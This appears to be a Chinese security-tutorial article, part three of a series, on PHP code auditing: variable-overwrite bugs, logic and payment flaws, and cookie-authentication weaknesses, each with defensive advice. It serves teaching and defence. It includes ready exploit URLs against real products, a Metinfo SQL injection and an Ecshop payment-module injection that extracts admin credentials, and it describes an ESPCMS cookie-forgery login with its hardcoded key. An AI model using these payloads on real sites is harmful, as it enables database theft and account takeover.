漏洞挖掘与防范(三)
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
前面介绍了《漏洞挖掘与防范(一)》、《漏洞挖掘与防范(二)》,本文继续介绍代码审计中的漏洞挖掘。
一、变量覆盖漏洞
变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值,变量覆盖漏洞通常需要结合程序的其他功能来实现完整攻击,这个漏洞想象空间非常大,比如原本一个文件上传页面,限制的文件扩展名白名单列表写在配置文件中变量中,但是在上传的过程中有一个变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表,那我们就可以覆盖进去一个PHP的扩展名,从而上传一个PHP的shell。
变量覆盖漏洞大多由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract()函数和parse_str(),import_request_variables()函数则是用在没有开启全局变量注册的时候,调用了这个函数则相当于开启了全局变量注册,在PHP 5.4之后这个函数已经被取消。另外部分应用利用$$的方式注册变量没验证已有变量导致覆盖也是国内多套程序都犯过的一个问题,这些应用在使用外部传递进来的参数时不是用类似于$_GET['key']这样原始的数组变量,而是把里面的key注册成了一个变量$key,注册过程中由于没有验证该变量是否已经存在就直接赋值,所以导致已有的变量值会被覆盖掉。
(一)挖掘经验
由于变量覆盖漏洞通常要结合应用其他功能代码来实现完整攻击,所以挖掘一个可用的变量覆盖漏洞不仅仅要考虑的是能够实现变量覆盖,还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。
由函数导致的变量覆盖比较好挖掘,只要搜寻参数带有变量的extract()、parse_str()函数,然后去回溯变量是否可控,extract()还要考虑它的第二个参数。import_request_variables()函数则相当于开了全局变量注册,这时候只要找哪些变量没有初始化并且操作之前没有赋值的,然后就大胆地去提交这个变量作为参数吧,另外只要写在import_request_variables()函数前面的变量,不管是否已经初始化都可以覆盖。
关于上面我们说到国内很多程序使用双$$符号注册变量会导致变量覆盖,我们可以通过搜“$$”这个关键字去挖掘,不过建议挖掘之前还是先把几个核心文件通读一遍,了解程序的大致框架。
1、函数使用不当
目前变量覆盖漏洞大多都是由于函数使用不正确导致的,这些函数有extract()、parse_str()以及import_request_variables(),而其中最常见的就是extract()这个函数了,使用频率最高,导致的漏洞数量也最多,下面我们分别来看看这几个函数导致的漏洞原理吧。
(1)extract函数
extract()函数覆盖变量需要一定条件,它的官方功能说明为“从数组中将变量导入到当前的符号表”,通俗讲就是将数组中的键值对注册成变量,函数结构如下:
int extract(array &$var_array [,int $extract_type = EXTR_OVERWRITE [,string $prefix = NULL ]])
最多三个参数,我们来看看这三个参数的作用,参见下表。
从以上说明我们可以看到第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定,该函数有三种情况会覆盖掉已有变量,第一种是第二个参数为EXTR_OVERWRITE,它表示如果有冲突,则覆盖已有的变量。第二种情况是只传入第一个参数,这时候默认为EXTR_OVERWRITE模式,而第三种则是第二个参数为EXTR_IF_EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。
为了更清楚地了解它的用法,我们来用代码来说明,测试代码如下:
<?php
$b=3;
$a=array('b'=>'1');
extract($a);
print_r($b);
?>
测试结果如下图所示。
原本变量$b的值为3,经过extract()函数对变量$a处理后,变量$b的值被成功覆盖为了1。
(2)parse_str函数
parse_str()函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有变量。parse_str()函数有两个参数,函数说明如下:
void parse_str(string $str [,array &$arr ])
其中$str是必须的,代表要解析注册成变量的字符串,形式为“a=1”,经过parse_str()函数之后会注册变量$a并且赋值为1。第二个参数$arr是一个数组,当第二个参数存在时,注册的变量会放到这个数组里面,但是如这个数组原来就存在相同的键(key),则会覆盖掉原有的键值。
我们来测试一下,测试代码:
<?php
$b=1;
parse_str('b=2');
print_r($b);
?>
测试结果可以看到变量$b原有的值1被覆盖成了2,如下图所示。
(3)import_request_variables函数
import_request_variables()函数作用是把GET、POST、COOKIE的参数注册成变量,建议是不开启register_globals也不要使用import_request_variables()函数,这样容易导致变量覆盖。该函数的说明如下:
bool import_request_variables(string $types [,string $prefix ])
其中$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,所以当$type为GPC的时候,则会注册GET、POST、COOKIE参数为变量。第二个参数$prefix为要注册的变量前缀,这里我们不细说,来看看它是怎么覆盖变量的,测试代码如下:
<?php
$b=1;
import_request_variables('GP');
print_r($b);
?>
从测试结果我们可以看到变量$b的值1被覆盖成了2,如下图所示。
2、$$变量覆盖
曾经有一段很经典的$$注册变量导致变量覆盖的代码,在很多应用上面都出现过这个问题,这段代码如下:
foreach(array('_COOKIE','_POST','_GET')as $_request)
{
foreach($$_request as $_key => $_value)
{
$$_key = addslashes($_value);
}
}
为什么它会导致变量覆盖呢,重点在$$符号,从代码中我们可以看出$_key为COOKIE、POST、GET中的参数,比如提交?a=1,则$key的值为a,而还有一个$在a的前面,结合起来则是$a=addslashes($_value);所以这样会覆盖已有的变量$a的值,我们用代码来解释会更清楚,代码如下:
<?php
$a=1;
foreach(array('_COOKIE','_POST','_GET')as $_request)
{
foreach($$_request as $_key => $_value)
{
echo $_key.'<br />';
$$_key = addslashes($_value);
}
}
echo $a;
?>
这段代码的执行结果如下图所示。从执行结果可以看出我们成功把变量$a的值覆盖成了“2”。
3、Metinfo变量覆盖漏洞分析
由于之前挖到的这类漏洞没有记录,所以这里的案例是临时看了一下metinfo的代码找的,我们尝试用它的变量覆盖漏洞进行SQL注入,在metinfo的include/common.inc.php文件中代码如下:
<?php
/****省略******/
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
@extract($db_settings);
//require_once ROOTPATH.'config/tablepre.php';
require_once ROOTPATH.'include/mysql_class.php';
$db = new dbmysql();
$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);
define('MAGIC_QUOTES_GPC',get_magic_quotes_gpc());
isset($_REQUEST['GLOBALS'])&& exit('Access Error');
require_once ROOTPATH.'include/global.func.php';
foreach(array('_COOKIE','_POST','_GET')as $_request)
{
foreach($$_request as $_key => $_value)
{
$_key{0}!= '_' && $$_key = daddslashes($_value);
}
}
$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
$mettable=$db->get_one($query);
$mettables=explode('|',$mettable[value]);
foreach($mettables as $key=>$val)
{
$tablename='met_'.$val;
$$tablename=$tablepre.$val;
}
变量覆盖核心的代码如下:
foreach(array('_COOKIE','_POST','_GET')as $_request)
{
foreach($$_request as $_key => $_value)
{
$_key{0}!= '_' && $$_key = daddslashes($_value);
}
}
这就是上面我们据介绍过的$$变量覆盖的经典代码,在这段代码之前的变量,我们都可以覆盖掉,包括数据库配置,这样就能搭建远程数据库服务以登录后台,不过我们只是为了说明这个漏洞,所以不搞那么复杂,可以看到下面有一个SQL语句中使用了$tablepre变量:
$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
这里我们只要覆盖这个变量即可进行SQL注入。举例一个exp为:
/include/common.inc.php?tablepre=mysql.user limit 1 %23
则执行的SQL语句为:
select * from mysql.user limit 1 #config where name='met_tablename' and lang='metinfo'
我们在以上代码的最后加上:
echo $tablepre.'<br/>';
print_r($mettable);
exit();
输出的执行结果已确认覆盖掉并且注入了SQL语句,请求结果证实确实成功利用,如下图所示。
(二)漏洞防范
变量覆盖漏洞最常见漏洞点是在做变量注册时没有验证变量是否存在,以及在赋值给变量的时候,所以我们推荐使用原始的变量数组,如$_GET、$_POST,或者在注册变量前一定要验证变量是否存在。
1、使用原始变量
以上我们说的变量覆盖漏洞都是因为在进行变量注册而导致,所以要解决变量覆盖的问题,最直接的方法就是不进行变量注册,建议直接用原生的$_GET、$_POST等数组变量进行操作,如果考虑程序可读性等原因,需要注册个别变量,可以直接在代码中定义变量,然后再把请求中的值赋值给它。
2、验证变量存在
如果一定要使用前面几种方式注册变量,为了解决变量覆盖的问题,可以在注册变量前先判断变量是否存在,如使用extract()函数则可以配置第二个参数为EXTR_SKIP。使用parse_str()函数注册变量前需要先自行通过代码判断变量是否存在。不建议使用import_request_variables()函数注册全局变量,会导致变量不可控。最重要的一点,自行申明的变量一定要初始化,不然即使注册变量代码在执行流程最前面也能覆盖掉这些未初始化的变量。
二、逻辑处理漏洞
广义上来说,大多数的漏洞都是由于程序的逻辑失误导致的,都可以叫做逻辑漏洞,但我们这里说的逻辑漏洞没有那么大范围,这里指程序在业务逻辑上面的漏洞,业务逻辑漏洞也是一个不小的范围,在不同的业务场景有不同的漏洞出现,目前逻辑漏洞是各大企业存在最多的漏洞之一,因为逻辑漏洞在挖掘和利用时都需要进行一些逻辑判断,机器代码很难模拟这块的逻辑处理,所以无法用机器批量化扫描检测,检测的少了,现存的漏洞自然就多了。下面我们从代码层逻辑错误导致的漏洞开始分析,再到应用业务层常见漏洞分析,如支付、找回密码、程序安装等。
(一)挖掘经验
由于业务逻辑漏洞大多都存在逻辑处理以及业务流程中,没有特别明显的关键字可以用来快速定位,通常这类漏洞的挖掘技巧是通读功能点源码,先熟悉这套程序的业务流程,后面挖掘起来就会比较顺畅,值得关注的点是程序是否可重复安装、修改密码处是否可越权修改其他用户密码、找回密码验证码是否可暴力破解以及修改其他用户密码、cookie是否可预测或者说cookie验证是否可绕过等等。
1、等于与存在判断绕过
在逻辑漏洞里,判断函数是非常典型的一个例子,明明学校老师教的,还有官方手册里面写的,都说某某函数在某某情况下会返回true,另外一种情况下会返回false,但是一旦这些函数存在漏洞,可以逃逸这个判断函数,那这个逻辑就可以绕过了,下面我们来看看有哪些常见又有漏洞的判断函数。
(1)in_array函数
in_array()函数是用来判断一个值是否在某一个数组列表里面,通常的判断方式如下:
in_array('b',array('a','b','c'))
这样是没有什么问题的,我们再看下面这段代码:
<?php
if(in_array($_GET['typeid'],array(1,2,3,4)))
{
$sql="select .... where typeid='".$_GET['typeid']."'";
echo $sql;
这段代码的作用是过滤GET参数typeid在不在1,2,3,4这个数组里面,如果在里面则拼接到SQL语句里,看起来好像是没有什么问题的,但是这个in_array()函数存在一个问题,比较之前会自动做类型转换,如果我们请求/1.php?typeid=1'union select...,我们看看最终输出的SQL语句是什么,如下图所示。
可以看到我们提交的typeid参数并不全等于1,2,3,4数组里面的任何一个值,但是,还是可以绕过这个检查并且成功注入。
(2)is_numeric函数
is_numeric()函数用来判断一个变量是否为数字,如果检查通过则返回true,否则返回false,我们来看如下这段代码:
<?php
if(is_numeric($_GET['var']))
{
$sql="insert into xx values('xx',{$_GET['var']})";
echo $sql;
}
代码看起来好像也没有什么问题,不过这个函数存在一个问题,当传入的参数为hex时则直接通过并返回true,而MySQL是可以直接使用hex编码代替字符串明文的,所以这块虽然不能直接注入SQL语句,但是存在二次注入和XSS等漏洞隐患,比如当我们提交“<script>alert(1)</scipt>”的hex编码“0x3c7363726970743e616c6572742831293c2f73636970743e”时,最终SQL语句的效果等同于:
insert into xx values('xx','<script>alert(1)</scipt>')
如果应用程序有其他地方调用这个值,并且直接输出,则有可能执行这段代码,触发XSS漏洞。
(3)双等于和三等于
PHP的双等于(==)和三等于(===)的区别,哪一个可能出现安全问题?这个问题是我经常在面试的时候提到,它们的区别在于,双等于在判断等于之前会先做变量类型转换,而三等于则不会,由于数据类型被改变,所以双等于在判断的时候可能存在安全风险,下面我们用代码来证明一下,代码如下:
<?php
var_dump($_GET['var']==2);
当我们请求/1.php?var=2aaa时,如下图所示。
输出结果为true,请求/1.php?var=3aaa时输出结果为false,说明判断之前成功完成了变量类型转换,这里跟上面我们说的in_array()函数是一样的道理。
我们再来测试三等于(===),代码如下:
<?php
var_dump($_GET['var']===2);
当我们再次提交/1.php?var=2aaa时,此时返回为false,说明这里没有进行类型转换,如下图所示。
2、账户体系中的越权漏洞
越权漏洞分为水平越权和垂直越权,水平越权指原相同等级权限的用户,A用户可以查看或操作到B用户的私有信息,而这个查看或操作权限本来是A用户不该拥有的权限。垂直权限指不在同权限等级的用户,低权限等级的用户A可以查看或操作高权限等级B的私有信息,而这个查看或操作权限本来是A用户不该拥有的权限。
水平越权和垂直越权的定义不一样,但漏洞原理是一样的,都是账户体系上在判断权限时不严格导致存在绕过漏洞,这一类的绕过通常发生在cookie验证不严、简单判断用户提交的参数,归根结底,都是因为这些参数是在客户端提交,服务器端未严格校验。举个简单的例子,当前A用户查看自己详细订单的URL为/1.php?orderid=111,当用户手动提交/1.php?orderid=112时,则可以看到订单id为112的订单详细情况。这里的逻辑比较简单,不再使用代码进行讲解分析。
3、未exit或return引发的安全问题
某些情况下,在经过if条件判断之后,有两种操作,一种是继续执行if后面的代码,另外一种是在if体内退出当前操作,但是这个退出行为,有不少程序忘记写return、die()或者exit(),导致程序还是会继续执行。我们来看一个举例,代码如下:
<?php
if(file_exists('install.lock')))
{
//程序已经安装,跳转到首页
header("Location:../");
}
//…进入安装流程
很多程序的安装页面install.php文件的内容都有这么一段判断程序是否已经安装的代码,这段代码的意思是,判断“install.lock”文件是否存在,如果存在则跳转到首页,问题出在使用了header()函数跳转,但是PHP程序并没有退出,还是会进入安装流程。我们把代码改一下来测试这个header()函数,代码如下所示:
<?php
if($_GET['var']==='aa')
{
//程序已经安装,跳转到首页
header("Location:../");
}
echo $_GET['var'];
当我们用浏览器访问的时候是看不到输出的$_GET参数的,因为浏览器接受到跳转指令后会立马跳转,我们用burp来抓返回的数据如下图所示。
可以看到输出了“aa”,说明经过header()函数之后程序依然继续执行了,正确的写法应该是在header()函数之后加一个exit()或者die()。
4、常见支付漏洞
曾经有不少体量不小的电子商务网站都出现过支付漏洞,最终导致的结果是不花钱或者花很少的钱买更多的东西,还真的有不少人测试漏洞之后真的收到了东西,这种天上掉馅饼的漏洞太有诱惑力了。最常见的支付漏洞有四种,下面我们来看看这四种情况在代码审计的时候应该怎么挖。
第一、二、三种比较简单,分别是客户端可修改单价、总价和购买数量,服务器端未校验严格导致,比如在支付的时候一般购物车都如下图所示。
从上图中我们可以看到三个关键元素,单价、总价和数量,这三个数字不管是哪个被改变,都会影响最终成交价格,部分商城程序是直接由单价和数量计算总价,但是并没有验证这两个数字是否小于0,在上图的例子中,驾驶服务器没有验证数量这个数字,我们可以在客户端把数字改成负数然后提交上去,这种形式的支付漏洞,只要我们找到支付功能代码,看看代码过滤情况即可挖掘到。
还有一种是以重复发包来利用时间差,以少量的钱多次购买,说到大家以前听过比较多的就是手机刷QQ钻了,也是利用同样的原理,利用手机快速给腾讯发送一条开通QQ业务的短信,发送完之后再快速发送一条取消业务的短信到短信运营商,真正的漏洞出现在短信运营商那边而不是腾讯。很多IDC开通VPS等业务的系统也存在这种漏洞,大概的原理如下图所示。
我们从上图中可以看到一开始程序判断余额足够,然后两个订单都进入到服务开通流程,但是并还没有扣费,我们就是利用这个服务开通流程所花费的时间来多次开通业务。
我们在做代码审计挖掘这类漏洞的时候,可以注意寻找下面这种形式的代码:
<?php
//判断余额是否足够,足够则返回true
if(check_money($price))
{
//Do something
//花费几秒
$money = $money - $price;
}
或者是在“Do something”代码段的地方调用其他API或脚本,而扣费也是在其他API或脚本里面完成。
5、Ecshop逻辑错误注入分析
这里我们用一个比较经典的ecshop支付宝支付插件漏洞来分析一下,据说这个漏洞出自360攻防实验室。漏洞核心代码在\includes\modules\payment\alipay.php文件respond()函数,代码如下:
function respond()
{
if(!empty($_POST))
{
foreach($_POST as $key => $data)
{
$_GET[$key] = $data;
}
}
$payment = get_payment($_GET['code']);
$seller_email = rawurldecode($_GET['seller_email']);
$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);
$order_sn = trim($order_sn);
/*检查支付的金额是否相符*/
if(!check_money($order_sn,$_GET['total_fee']))
{
/*----省略----*/
$order_sn变量由str_replace($_GET['subject'],'',$_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\。
最终$order_sn被带入check_money()函数。我们跟进看一下在include\lib_payment.php文件中109行,代码如下:
function check_money($log_id,$money)
{
$sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table('pay_log'
)." WHERE log_id = '$log_id'";
$amount = $GLOBALS['db']->getOne($sql);
if($money == $amount)
{
/*----省略----*/
此处就是漏洞现场。原来的$order_sn被带入了数据库导致注入漏洞存在,这个漏洞的逻辑问题就在于本来一个已经过滤掉特殊字符的参数,又再次被用户自定义提交上来的参数替换,导致原来的过滤符合反斜杠被替换掉,程序员在写代码的时候没有考虑到这块的逻辑问题。
利用实践:首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULL,NULL值是与0相等的,测试代码如下:
<?php
$a=addslashes($_GET['a']);
$b=addslashes($_GET['b']);
print_r($a.'<br />');
print_r($b.'<br />');
print_r(str_replace($a,'',$b));
?>
效果图如下图所示。
最终漏洞的利用效果如下:
EXP:http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′and(select * from(select count(*),concat(floor(rand()*2),(select concat(user_name,password)from ecs_admin_user limit 1))a from information_schema.tables group by a)xxx)-- 1
结果如下图所示。
(二)漏洞防范
通过分析我们之前列举的几种逻辑漏洞,可以看到所有的逻辑漏洞都是因为开发者对业务逻辑或者代码逻辑理解不清楚导致。每一种业务功能都有可能导致逻辑漏洞的产生,而业务功能里面的实现逻辑是人思考出来的,所以要解决这类逻辑问题需要注意以下两点:
要深入熟悉业务逻辑,只有我们熟悉了业务的逻辑,才能根据业务需要编写满足需求而又不画蛇添足的代码。
要注意多熟悉函数的功能和差异,因为很多写代码写得很熟悉的人出现bug通常不是因为多一个字母或者少一个分号,而是代码执行逻辑上面考虑不周全导致。
三、会话认证漏洞
会话认证是一个非常大的话题,涉及各种认证协议和框架,如cookie、session、sso、oauth、openid等,出现问题比较多的在cookie上面,cookie是Web服务器返回给客户端的一段常用来标识用户身份或者认证情况的字符串,保存在客户端,浏览器下次请求时会自动带上这个标识,由于这个标识字符串可以被用户修改,所以存在安全风险,一般这块的认证安全问题都出在服务端直接取用cookie的数据而没有校验,其次是cookie加密数据存在可预测的情况。另外是session是保存在服务器端的信息,如果没有代码操作,客户端不能直接修改session,相对比较安全。
(一)挖掘经验
认证漏洞在代码审计的时候能遇到比较多的是出现在cookie验证上面,通常是没有使用session来认证,而是直接将用户信息保存在cookie中,程序使用的时候直接调用。一般这个过程都有一个统一的函数去取数据调用,容易导致SQL注入和越权等漏洞。在挖掘登录认证漏洞的时候,可以先看一下程序的登录功能代码,看看整个登录过程的业务逻辑有没有可以控制session值或者直接绕过密码验证的漏洞;另外需要关注程序验证是否为登录的代码,通俗的说是验证cookie的代码,是不是直接去取cookie里面的值,然后怎么去判断这个值来验证是否登录。以前见过相当粗糙的验证是直接判断cookie里面的username参数是否为空,还有就是以cookie里面的用户名来作为当前用户,这种情况直接把用户名改成admin等管理员用户名就直接是管理员权限了。
1、cookie认证安全
cookie可以保存任何字符串,各个浏览器保存cookie字节数大小不一样,一般都不超过4096个字节,通常cookie用来保存登录账号的标识信息,比如用户名或者sessionid等,浏览器每次请求的时候都会再次带上对应这个域名的cookie信息,服务器应用程序可以对cookie进行读取修改或者删除等任意操作。
cookie出现问题比较多的是cookie的SQL注入等常见漏洞,以及Web应用程序在服务端直接读取cookie的用户名或者ID值来操作当前这个用户的数据,这里存在很大的一个问题是cookie可以伪造,从而就导致了伪造用户身份登录的漏洞。
通常一个cookie验证的代码大概如下:
<?php
session_start();
function login()
{
if(账号密码正确)
{
setcookie('username','admin');
$_SESSION['username'] = 'admin';
}
}
//判断cookie里面的用户名是否和session里的用户名一致
if($_COOKIE['username']===$_SESSION['username'])
{
//操作$_SESSION['username']用户的数据
}
else
{
login();
}
这样的写法一般情况不会出现验证上面的安全问题,下面我们通过案例来看看有问题的写法。
2、Espcms任意用户登录分析
我们这里以“ESPCMS所有版本任意用户登录”漏洞来做一个简单的分析。
在文件/interface/memebermain.php的in_center()函数可以看到如下代码:
function in_center()
{
if($this->CON['mem_isucenter'])
{
include_once admin_ROOT . 'public/uc_client/client.php';
}
parent::start_pagetemplate();
parent::member_purview();
$lng =(admin_LNG == 'big5')?$this->CON['is_lancode']:admin_LNG;
$db_where = "userid=$this->ec_member_username_id AND username='$this-> ec_member_username' ";
$db_table1 = db_prefix . 'member AS a';
$db_table2 = db_prefix . 'member_value AS b';
$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id ";
$rsMember = $this->db->fetch_first($db_sql);
$rsMember['rankname'] = $this->get_member_purview($rsMember['mcid'],'rankname');
$userid = $this->ec_member_username_id;
//获取userid
if(empty($userid))
{
exit('user err!');
}
$db_table = db_prefix . "order";
$db_where = " WHERE userid=$userid";
在代码中$userid=$this->ec_member_username_id;这行代码设置当前用户ID,随后根据这个$userid变量去直接操作这个id的用户数据,而这个$this->ec_member_username_id变量的值又是从哪来的呢?注意代码最开始的地方有调用parent::member_purview()函数,我们跟过去看看,在/public/class_connector.php文件的member_purview()函数,代码如下:
function member_purview($userrank = false,$url = null,$upurl = false)
{
$this->ec_member_username = $this->fun->eccode($this->fun-> accept(
'ecisp_member_username','C'),'DECODE',db_pscode);
$user_info = explode('|',$this->fun->eccode($this->fun-> accept('ecisp_member_info','C'),'DECODE',db_pscode));
list($this->ec_member_username_id,$this->ec_member_alias,$this-> ec_member_integral,$this->ec_member_mcid,$this->ec_member_email,
$this->ec_member_lastip,$this->ec_member_ipadd,$this-ec_member_useragent,$this->ec_member_adminclassurl)= $user_info;
可以看到list()函数中使用$user_info数组为$this->ec_member_username_id变量进行赋值,而$user_info数组是从cookie中解密出来的,关于这个算法的加密代码在/public/class_function.php文件的eccode()函数,代码如下:
function eccode($string,$operation = 'DECODE',$key = @LFK24s224%@safS3s%1f%',$mcrype = true)
{
$result = null;
if($operation == 'ENCODE')
{
for($i = 0;
$i < strlen($string);$i++)
{
$char = substr($string,$i,1);
$keychar = substr($key,($i % strlen($key))- 1,1);
$char = chr(ord($char)+ ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+','/','='),array('-','_',''),$result);
}
elseif($operation == 'DECODE')
{
$data = str_replace(array('-','_'),array('+','/'),$string);
$mod4 = strlen($data)% 4;
if($mod4)
{
$data .= substr('====',$mod4);
}
$string = base64_decode($data);
for($i = 0;
$i < strlen($string);$i++)
{
$char = substr($string,$i,1);
$keychar = substr($key,($i % strlen($key))- 1,1);
$char = chr(ord($char)- ord($keychar));
$result.=$char;
}
}
return $result;
}
(二)漏洞防范
所有用户输入的值都是不完全可信的,所以在防御认证漏洞之前,我们应该先了解认证的业务逻辑,严格限制输入的异常字符以及避免使用客户端提交上来的内容去直接进行操作。应该把cookie和session结合起来使用,不能从cookie中获取参数值然后进行操作。另外在设置session时,需要保证客户端不能操作敏感session参数。
特别需要注意的是敏感数据不要放到cookie中,目前还有不少应用会把账号和密码都直接放入到cookie中,cookie在浏览器端以及传输过程中都存在被窃取的可能性,如果程序限制了一个用户只能同时在一个IP上面登录,这时候即使别人拿到了你不带密码的cookie也会使用不了,但是如果cookie里面保存了用户名和密码,这时候攻击者就可以尝试用密码直接登录了。
微信公众号:计算机与网络安全
ID:Computer-network